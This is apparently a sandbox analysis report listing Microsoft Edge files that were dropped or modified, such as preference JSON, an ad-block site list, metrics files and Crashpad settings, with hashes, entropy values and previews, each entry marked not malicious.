Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731351138"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\46c8aba6-65ad-40f8-8bb1-a985c0248444.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46216
Entropy (8bit):	6.087794714161947
Encrypted:	false
SSDEEP:	768:IMkbJrT8IeQcrQgq9swiuohDO6vP6OyF8nZW6486sFa6EKhy1DhSCAomGoup1XlR:IMk1rT8HK9sa6rN01sRomhu3VlXr4I
MD5:	3402433DA473F4B53B570F96E61EBC68
SHA1:	BE60ECE5A25EACF9C3E2A0AF739729D1190500CC
SHA-256:	4EA9EEA0D05F087AEE13B6FF2C6BCC7DF14D18539AA7D437B2C4E6F597604A46
SHA-512:	68F67754A624E8184DCE6CB391DF70817DA354D3A4461D6FA64F22B47DC2586D512F0FA993A6D98A77652149DC2215061C794B671FFC45FF8488F6881A8928C3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731351138"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7200a24c-0f7d-4a00-802c-16d5882b2811.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.097035622037881
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBkwuLhDO6vP6OyF8n9ZEKluV0RscGoup1Xl3jVzXq:z/Ps+wsI7ynET6rcchu3VlXr4CRo1
MD5:	B2F4258FC2F1561FC6FC8AA66DD53BF5
SHA1:	5065256206C0252DE5E1C4FF884A610D87BD953C
SHA-256:	78764B32980D856F0601ECF5EA59FA2704B3EE2A31DA32CBD46719EBE9CE274D
SHA-512:	90E00F6BF5A5AC28A617DFF456572BBD0F43809937EF58450D11AA8CFA1AD0BEEC589155E760685FA4740B965F3E7C7A998E04CEFFD2D3D0E1D945BE81FEA14D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\92488227-3e35-4be8-b31a-81b1318e7a8f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090755958234703
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBM5wuF9hDO6vP6O+1tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEx6stbz8hu3VlXr4CRo1
MD5:	1EEFA849C479060904FB720D547F6858
SHA1:	635FB9B83EC1EA8B46E8CB849BD4B5F4660A385E
SHA-256:	C0C748AD6FA95A3259C799E9FAC8063282A267AF391B13EE1D9DB3B1949A8116
SHA-512:	D9723244C865B6AAC50641BF959CBBB2BAE8B94573C939C14342E84A647750A3DDE99D187FB8534B27B90551C9637FEFF5846E17F2EA559B10381A2F347D7B8C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9704bcf1-2b05-4aa9-a67e-168c034af17e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46139
Entropy (8bit):	6.087855597995082
Encrypted:	false
SSDEEP:	768:IMkbJrT8IeQcrQgx9swiuohDO6vP6OyF8nlW6486sFa6EKhy1DhSCAomGoup1XlR:IMk1rT8HR9sa6rZ01sRomhu3VlXr4I
MD5:	840AFDEA917FCBF706E817D1DCD8FB70
SHA1:	FFBFC6D8321D12C7805F4D69CEF94F863A79120D
SHA-256:	A0F66F1A75A01A8FF685E8D1C4C76C6F60979A3B0C6EAC5AEEC643D5100D10FA
SHA-512:	4C4991DCDFCB39F995B3EA4E297CD1D42308742E6FB07F607A6E3B8AFDC6565D73C32A23CBB1A166FCDC1B01D1A5978BD535C7FFF395E549C8DFD11F105C1F37
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731351138"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\995b92ed-20d0-4935-a7b5-60e7c3ae63d3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.097035622037881
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBkwuLhDO6vP6OyF8n9ZEKluV0RscGoup1Xl3jVzXq:z/Ps+wsI7ynET6rcchu3VlXr4CRo1
MD5:	B2F4258FC2F1561FC6FC8AA66DD53BF5
SHA1:	5065256206C0252DE5E1C4FF884A610D87BD953C
SHA-256:	78764B32980D856F0601ECF5EA59FA2704B3EE2A31DA32CBD46719EBE9CE274D
SHA-512:	90E00F6BF5A5AC28A617DFF456572BBD0F43809937EF58450D11AA8CFA1AD0BEEC589155E760685FA4740B965F3E7C7A998E04CEFFD2D3D0E1D945BE81FEA14D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\9c943bf6-0032-44b1-8d2a-c95397b1c951.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44690
Entropy (8bit):	6.09650612956401
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBYwuLhDO6vP6OyF8nlW6486sFa6EKcGoup1Xl3jVu:z/Ps+wsI7yOEX6rZchu3VlXr4CRo1
MD5:	6744D34E278B8D91EF61A24CF15A260E
SHA1:	3A5A71AC85F2C32F2ED8BAE49DEB5B97CDA60D87
SHA-256:	BAB9204D7A7F7F2A3FE04561200670747DA9BADB1CA124028E334F91C75546E6
SHA-512:	7231D76AB8A2D7B06F7700823ACDF379285D616ABB10A34A0ADA33589B23745D76E69160FB25571E6FDAAEEF415066E3EFB7D7900CE4F92E720B088CA7E1DC6F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\d61daa71-0186-4ffb-96ac-46586943044d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6732525C-1EB8.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.48570255028617243
Encrypted:	false
SSDEEP:	6144:FtvtCwu2wCK4ClSh5qNggmuw77TaHvQi:QCKxl0A
MD5:	C2CF6C2E73C54E0B92EF0E887A1873DF
SHA1:	DD541DD9CC5EA7DAF4BC58BD41D9767D9B58BDB7
SHA-256:	EE2A224007329F322F5906A52D67678D14398837FE4F0BE47C6E436832174D48
SHA-512:	5ED102D407D5CF88B6957F076BE1DE0D7558A8E6C19A5BCF69226666F3B749E7095299CF23925C9227CD9AAC0127C2B408854307AC977E38D9BDE5C0AB30EA14
Malicious:	false
Preview:	...@..@...@.....C.].....@..................(...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".jyukpe20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,...... .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0de80c87-9918-4142-b989-1658a4e6dec5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (14729), with no line terminators
Category:	dropped
Size (bytes):	14733
Entropy (8bit):	5.473390012666375
Encrypted:	false
SSDEEP:	384:stteQvs3sfhGA1GEPtgChMGrvJbGfQwW6WtlaTYE:sibsfpQEPQGrBbGoZfaTYE
MD5:	F5342F4E9B9FF420AAF15DC5B69363E0
SHA1:	AED6D0ECF777E1E0D48BFEAAA8C45BE39198ABDD
SHA-256:	151FE021CB4CECBC7F69B58D771E97E4729FA792C48CA58736672EAF584A1459
SHA-512:	7517DB236ECA909CEEB001916831E3FFC13F20657978D8F166A44C4C05A9EBCF2D5B5EAF06F93E04A19285EDDC48895BD0123FE8B8DB8EE8000CA9E555342DA8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13375824733241527","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1cfe3b48-3e65-4940-aa4f-9f6471ffda63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567361102165701
Encrypted:	false
SSDEEP:	768:PLtmdzWPUafkn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVuvYclrwW0p9tu/:PLtmdzWPUafknu1jabwcOWetw
MD5:	C20F8FEE4FC58650677A54F361E8E1EC
SHA1:	EE8A54929DB558079BF3E6AA66133404B89B0D96
SHA-256:	8C15D2D41BFD47C0162515141022EA2C64D382298520F8FD0DE3AE656FC4E04E
SHA-512:	71B8531E8DE6119AF93D27529719E626BADBC13EDF0299A46BE908FA8CF86FAB56E52084C4558F210D58E78C9EAC927177CA72020458F95A4EE641665740A290
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375824732589623","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375824732589623","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1d492615-df51-4ea5-a56b-8b99d7567c51.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30244
Entropy (8bit):	5.566059219148273
Encrypted:	false
SSDEEP:	768:PLtmVEq7pLGLpSzWPUafHn8F1+UoAYDCx9Tuqh0VfUC9xbog/OVlZdvYclrwA0pT:PLtmVECcpSzWPUafHnu1jasZdwcOAetb
MD5:	EF7BE333DE552AD8C64C688335523830
SHA1:	7C8C3EEFD5220823BC462E47FB51DB6AA638BBB6
SHA-256:	D2E2B990CA16A8BAC6497C71B09DCF30212096272ACF146168E818344B0EC079
